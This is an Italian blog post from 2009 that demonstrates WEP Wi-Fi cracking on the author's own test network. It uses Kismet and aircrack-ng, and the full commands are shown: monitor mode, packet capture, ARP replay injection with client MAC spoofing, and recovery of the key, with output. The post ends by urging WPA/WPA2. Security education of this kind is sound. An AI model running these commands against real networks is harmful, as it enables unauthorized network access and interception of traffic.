WEP cracking
by admin on Jun.19, 2009, under Hacking, Linux, Sicurezza
Le reti LAN di tipo wireless sono sempre più diffuse, grazie agli indiscutibili vantaggi che presentano rispetto alle reti cablate, tuttavia la loro affermazione ha introdotto pesanti problematiche relativamente alla sicurezza.
Anche quando l’accesspoint si trovi fisicamente all’interno di un perimetro prestabilito questo vincolo non viene necessariamente rispettato dai clients che si trovano nel campo di copertura dello stesso. L’impossibilità di controllare la locazione dalla quale un client si può connettere ad un accesspoint costituisce il nocciolo della questione sicurezza relativamente alle reti wireless, le quali tentano di ovviare a questo problema attraverso la crittazione e il controllo d’accesso.
I metodi di protezione delle reti WLAN prendono il nome di WEP, WPA e WPA2, e si distinguono fortemente per livello di efficienza, o meglio, di “robustezza” offerto.
Il problema è che buona parte delle reti wireless o non viene per nulla protetta, oppure, perché in tal modo la preconfigurazione risulta più semplice, utilizza la debole protezione WEP
Il protocollo WEP (Wired Equivalent Protocol) è un protocollo che definisce un insieme d’istruzioni e regole tramite le quali i dati possono venire trasmessi con un minimo di sicurezza. Per la codifica dei dati WEP utilizza l’algoritmo RC4 nel momento in cui i dati “escono” dal AP. Il problema della sicurezza nel mondo WEP deriva dall’errata implementazione dell’algoritmo RC4, non dall’algoritmo in se stesso.
Fare breccia all’interno di una rete così protetta richiede ormai un tempo molto breve, nell’ordine della decina di minuti.
Vediamo di provare quanto affermato avendo a disposizione semplicemente un unico portatile dotato di un comunissimo chipset Atheros e con s.o. Linux.
L’attuale driver Madwifi/Atheros supporta APs multipli ed una modalità operativa concorrente AP/Station sullo stesso device.
Ciascuna istanza di un AP o station costituisce un Virtual AP (o VAP). Ciascun VAP può trovarsi in AP mode, station mode, “special” station mode, e monitor mode. Ogni VAP possiede un sottostante device di base associato, che viene creato quando il driver viene caricato.
# modprobe -v ath_pci
insmod /lib/modules/2.6.28-11-generic/volatile/ath_hal.ko
insmod /lib/modules/2.6.28-11-generic/volatile/wlan.ko
insmod /lib/modules/2.6.28-11-generic/volatile/ath_pci.ko
# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
pan0 no wireless extensions.
wifi0 no wireless extensions.
ath0 IEEE 802.11b ESSID:"" Nickname:""
Mode:Managed Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:0 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=0 dBm Noise level=0 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
La creazione e la distruzione dei VAPs viene fatta tramite il tool wlanconfig.
# wlanconfig ath0 destroy
# wlanconfig ath create wlandev wifi0 wlanmode sta
ath0
Solo una station VAP può esistere su un unico device
# wlanconfig ath create wlandev wifi0 wlanmode sta
wlanconfig: ioctl: Input/output error
ma possono coesistere più istanze in modalità monitor:
# wlanconfig ath create wlandev wifi0 wlanmode monitor
ath1
# wlanconfig ath create wlandev wifi0 wlanmode monitor
ath2
Per attivare l’interfaccia wireless ath0 appena creata basta impartire (come root):
# ifconfig ath0 up
Se vi sono APs nei paraggi, una rapida scansione può essere un buon modo per iniziare e verificare che tutto funzioni regolarmente.
La prima cosa da fare è il caricamento del modulo dedicato allo scanning (che dovrebbe comunque già essere stato caricato):
# modprobe wlan_scan_sta
dopodiché, si può effettuare una scansione, cosa che può essere fatta in due modi differenti.
Il primo modo è specifico di MadWifi:
# wlanconfig ath0 list scan
SSID BSSID CHAN RATE S:N INT CAPS
NETGEAR 00:18:4d:d2:f0:06 11 54M 57:0 100 Es WME
Il secondo modo (che funziona con diversi tipi di wireless cards), fornisce alcune informazioni in più:
# iwlist ath0 scan
ath0 Scan completed :
Cell 01 - Address: 00:18:4D:D2:F0:06
ESSID:"NETGEAR"
Mode:Master
Frequency:2.462 GHz (Channel 11)
Quality=56/70 Signal level=-39 dBm Noise level=-95 dBm
Encryption key:off
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
12 Mb/s; 48 Mb/s
Extra:bcn_int=100
Extra:wme_ie=dd180050f2020101000003a4000027a4000042435e0062322f00
Se l’output riporta “Encryption key:off”, potrebbe non essere necessario fare alcunché per associarsi all’ AP, dal momento che il driver sceglie automaticamente di connettersi a quello col segnale più potente.
Si può tuttavia specificare a quale AP/Network connettersi.
# iwconfig ath0 essid "pippo"
ad esempio tenterà l’associazione con l’ AP con ESSID (network name) pippo.
Si può anche specificare a quale AP connettersi usando il suo MAC address.
Ad esempio:
# iwconfig ath0 ap 00:06:25:E8:3A:05
Per fare in modo che il driver decida automaticamente a quale AP associarsi:
# iwconfig ath0 ap any
Oppure:
# iwconfig ath0 ap auto
Una volta ottenuta l’associazione con un AP, occorre comunque ottenere un indirizzo IP coerente con la rete cui l’AP appartiene. I modi per ottenere un indirizzo IP con una interfaccia wireless sono esattamente gli stessi che si adoperano in una rete cablata.
Essendo lo sniffing strettamente correlato al mezzo fisico trasmissivo scelto, al livello fisico e di data link, è più semplice effettuare lo sniffing di networks wireless che di networks cablate. La cattura del traffico wireless di un edificio è molto semplice da effettuare rimanendo seduti in una macchina parcheggiata ad una certa distanza, o girando intorno ad un isolato. In una rete cablata, l’ attaccante deve invece trovare una maniera per installare uno sniffer su uno o più hosts della rete violata.
Scanning è l’ atto dello sniffing effettuato passando tra i vari radio channels. Uno scanner di tipo passivo istruisce la wireless card a porsi in ascolto su ciascun channel a rotazione. La presenza dello scanner non viene rilevata.
Un attaccante può effettuare uno scan passivo senza trasmettere alcunché. La modalità RF monitor vista appena sopra permette la copia di ogni frame che appaia su un determinato channel non appena la interfaccia si sia sintonizzata su tale channel. È una situazione analoga a porre una normale card Ethernet cablata in promiscuous mode.
Il cosiddetto promiscuous mode permette la cattura di tutti i pacchetti wireless di una rete associata.
Un buon esempio di sniffer è Kismet
Kismet identifica la presenza di networks wireless collezionando passivamente i pacchetti in transito ed identificando standard networks, hidden networks, e rivelando la presenza di networks che non utilizzano pacchetti beacon attraverso il traffico dati.
Kismet è in grado di catturare traffico, ma vi sono altri tools come airodump (parte di Aircrack) che sono più adatti al WEP cracking. Perciò, nel contesto trattato verrà utilizzato solamente per assicurare che la wireless card stia operando e per il rilevamento di altre reti wireless.
Avendo come obiettivo la semplice dimostrazione di quanto sia effimera la protezione offerta dal protocollo WEP senza voler tuttavia violare alcuna rete altrui, occorre necessariamente allestire un ambiente di test, simulando la rete target tramite un AP ed un unico client, e utilizzando invece un portatile per attuare l’attacco.
La prima cosa da fare è individuare la rete bersaglio, avviando kismet, dando per scontato che il programma sia presente e correttamente configurato
# kismet

Kismet genera automaticamente una propria istanza VAP in modalità Monitor:
# iwconfig kis0
kis0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.437 GHz Access Point: 06:15:AF:1E:44:65
Bit Rate:0 kb/s Tx-Power:17 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Power Management:off
Link Quality=28/70 Signal level=-69 dBm Noise level=-97 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Occorre ordinare le reti prima di selezionarne una: premiamo “s” e poi “q”, ottenendo un ordinamento decrescente per potenza di segnale.
Selezioniamo la riga in cima, dove la lettera W rappresenta WEP, e premiamo invio oppure “i”.
Apparirà una lunga serie di dati sull’access point. Le linee da leggere sono SSID, BSSID, Channel, Encrypt.

Per terminare kismet basta premere “q” e poi “Q”.
Dovremo a questo punto impostare nuovamente la scheda di rete del pc in Monitor Mode.
# wlanconfig ath0 destroy
# wlanconfig ath create wlandev wifi0 wlanmode monitor
Aircrack-ng è una suite di tools software in grado di verificare il livello di sicurezza delle reti wireless.
L’omonimo tool aircrack-ng può recuperare la chiave WEP una volta che un sufficientemente alto numero di pacchetti crittati siano stati catturati tramite airodump-ng. La chiave WEP viene individuata utilizzando due metodi principali. Il primo metodo (utilizzato per default) viene detto PTW (Pyshkin, Tews, Weinmann).
Il principale svantaggio del metodo PTW è che sono necessari relativamente pochi pacchetti di dati per ottenere la chiave WEP.
Tale metodo richiede come input pacchetti di tipo arp request/reply. Si deve trattare dell’intero pacchetto, e non solo dell’ IV, che è invece sufficiente utilizzando il secondo metodo.
Il secondo metodo (che non verrà usato) è il metodo FMS/KoreK, ed era quello assunto per default in versioni precedenti del software. Il metodo FMS/KoreK incorpora vari attacchi statistici in combinazione col brute forcing per ottenere la chiave WEP.
Aprendo un terminale, basta eseguire airodump-ng per catturare i pacchetti della rete.
# airodump-ng -c 11 --write capt ath1
CH 11 ][ Elapsed: 9 mins ][ 2009-06-19 13:33
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:18:4D:D2:F0:06 61 100 5142 49194 113 11 54e WEP WEP GHOSTNET
BSSID STATION PWR Rate Lost Packets Probes
00:18:4D:D2:F0:06 00:18:4D:CF:E8:0A 62 2 - 1 0 82772 GHOSTNET
^C
ed impartire in una seconda finestra:
# aireplay-ng --arpreplay -b 00:18:4D:D2:F0:06 -h 00:18:4D:CF:E8:0A ath1
The interface MAC (00:15:AF:1E:44:65) doesn't match the specified MAC (-h).
ifconfig ath1 hw ether 00:18:4D:CF:E8:0A
13:26:22 Waiting for beacon frame (BSSID: 00:18:4D:D2:F0:06) on channel 11
Saving ARP requests in replay_arp-0619-132622.cap
You should also start airodump-ng to capture replies.
^C
Read 456652 packets (got 51746 ARP requests and 242428 ACKs), sent 206772 packets...(499 pps)
is used to inject frames.
La principale funzione di aireplay-ng consiste nella "frames injection", cioè nel generare traffico utile per un successivo esame da parte di aircrack-ng allo scopo di recuperare le chiavi WEP e WPA-PSK. Sono disponibili differenti attacchi, i quali possono provocare deautenticazioni, autenticazioni fasulle, replay interattivo di un pacchetto, iniezione ripetuta di richieste ARP.
Quest'ultima costituisce il metodo più efficiente di generare nuovi "initialization vectors" (IVs). Il programma si pone in ascolto di un pacchetto ARP e lo ritransmette ripetutamente e continuamente all' access point, facendo in modo che lo stesso access point lo replichi ogni volta con un nuovo IV. È la disponibilità di tutti questi nuovi IVs che permette di determinare la chiave WEP.
# aircrack-ng -a 1 -n 64 capt-01.cap
Opening capt-01.cap
Read 107327 packets.
# BSSID ESSID Encryption
1 00:18:4D:D2:F0:06 GHOSTNET WEP (49205 IVs)
Choosing first network as target.
Opening capt-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 49205 ivs.
KEY FOUND! [ 87:82:8D:68:0E ]
Decrypted correctly: 100%
Anche impostando la chiave WEP a 128 bit (quella massima consentita dall’AP a disposizione) è stato sufficiente raccogliere pacchetti per soli 5 minuti, e con la procedura appena vista, per recuperare la chiave:
# aircrack-ng -a 1 capt-02.cap
Aircrack-ng 1.0 rc3
[00:00:00] Tested 2 keys (got 50632 IVs)
KB depth byte(vote)
0 0/ 1 20(77568) 4B(61952) E5(59136) 87(58624) 9C(58624) ...
1 0/ 1 B7(74240) 38(57856) A4(57600) BF(57600) 25(57088) ...
2 0/ 1 EE(66304) B0(62208) B2(61440) 79(60672) BB(58880) ...
3 0/ 1 95(63744) 0D(63232) 6D(59392) 8F(58880) C5(58880) ...
4 0/ 1 05(65792) 34(61440) EB(60928) 48(59648) 4B(59648) ...
5 0/ 1 DB(65024) 29(60672) 71(60672) 1F(59904) 47(59648) ...
6 0/ 1 1A(66560) 90(59392) 80(58880) 2C(58112) 30(58112) ...
7 0/ 1 0F(73728) 9B(60672) 89(59392) 26(59136) 55(57600) ...
8 0/ 1 E7(66816) 96(62208) CA(60416) 04(58624) 54(57856) ...
9 0/ 1 26(68096) 86(61440) CF(59648) E3(59392) A9(58368) ...
10 0/ 1 41(60928) 04(60672) 42(60672) B9(60416) F5(59392) ...
11 0/ 1 A2(62720) C6(59392) 5D(59136) 82(58880) AA(57856) ...
12 0/ 1 C5(63488) 63(60672) 57(59904) 98(59648) 24(58624) ...
KEY FOUND! [ 20:B7:EE:95:05:DB:1A:0F:E7:26:41:A2:C5 ]
Decrypted correctly: 100%
Al termine di simili test le conclusioni sono quantomai ovvie: è assolutamente necessario che gli utenti, sia privati che aziende, e tanto più nel caso di queste ultime oppure di enti pubblici, affidino la protezione delle proprie reti wireless almeno a WPA o WPA2. Non farlo sarebbe da irresponsabili.


